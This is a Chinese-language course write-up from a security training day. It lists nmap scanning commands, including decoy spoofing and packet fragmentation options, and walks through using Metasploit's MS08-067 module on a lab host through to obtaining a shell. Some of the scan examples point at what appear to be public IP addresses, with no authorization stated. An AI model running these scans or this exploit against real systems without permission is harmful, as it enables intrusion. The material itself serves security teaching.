nmap扫描进阶、msfconsole攻击入门（网安全实训第二天）

本期内容：nmap扫描、msfconsole攻击入门

1. nmap扫描进阶

2.msfconsole攻击入门

1.nmap扫描进阶

（1）nmap命令

nmap --sP -iL abin.txt （从abin.txt导入ip地址列表进行扫描，-sP主机存货判断）
nmap -A 120.55.226.24 （启用操作系统检测，版本检测，脚本扫描和跟踪路由）
nmap -sS 120.55.226.24 （半连接扫描）
nmap -sT 120.55.226.24 （全连接扫描）
nmap -sU 120.55.226.24 （udp扫描）
nmap -D 1.1.1.1 192.168.1.102 （伪装地址为1.1.1.1）
nmap --mtu 8 192.168.1.102 （指定每个扫描包的大小）

（2）漏洞扫描

cd /usr/share/nmap/scripts （nmap漏洞扫描脚本在/usr/share/nmap/scripts下）
nmap --script=http-robots.txt 120.55.226.24 （scripts后面参数为脚本名称）

（3）SYN,FIN,ACK,PSH,RST,URG作用：

URG：紧急标志

ACK：确认标志

PSH：表示有DATA数据传输

RST：重置，用于复位相应的TCP连接

SYN：请求链接

FIN：中止链接

（4）操作实例

nmap -A -iL abin.txt

nmap -sS 119.29.221.132

nmap -sT 119.29.221.132 （全连接扫描的结果更准确，但更容易被发现）

nmap -sU 119.29.221.132

2.msfconsole攻击入门

PTES标准：

1-前期交互阶段

2-情报收集阶段

3-威胁建模阶段

4-漏洞分析阶段

5-渗透攻击阶段

6-后渗透攻击阶段

7-报告阶段

参考文章：https://blog.csdn.net/galaxy96/article/details/53334503

（1）进入msfconsole，命令：msfconsole

从以下提示，我们可以了解到：

+ -- --=[ 1749 exploits - 1002 auxiliary - 302 post          ]

+ -- --=[ 536 payloads - 40 encoders - 10 nops             ]

+ -- --=[ Free Metasploit Pro trial: http://r-7.co/trymsp ]

msfconsole包含4部分内容，分别为攻击模块、辅助模块、利用模块、编码模块。

（2）查找漏洞模块

通过前期信息收集，我们发现实验服务器存在ms08-067漏洞，所以直接搜索模块。

search MS08-067

（3）使用对用攻击模块

use exploit/windows/smb/ms08_067_netapi

（4）设置参数

首先使用show options查看需要设置的参数，其中，显示yes的都是必须设置的选项。

然后使用set 命令设置参数的值：

set RHOST 192.168.183.132

（5）执行攻击

exploit

由于之前使用kali攻击，一直没有成功，出现以下错误：

由于时间实训紧，所以也没再深究，等有时间再来看一下。我使用bt5就可以攻击成功，继续以下的步骤。

（6）攻击成功界面，输入shell进入dos界面。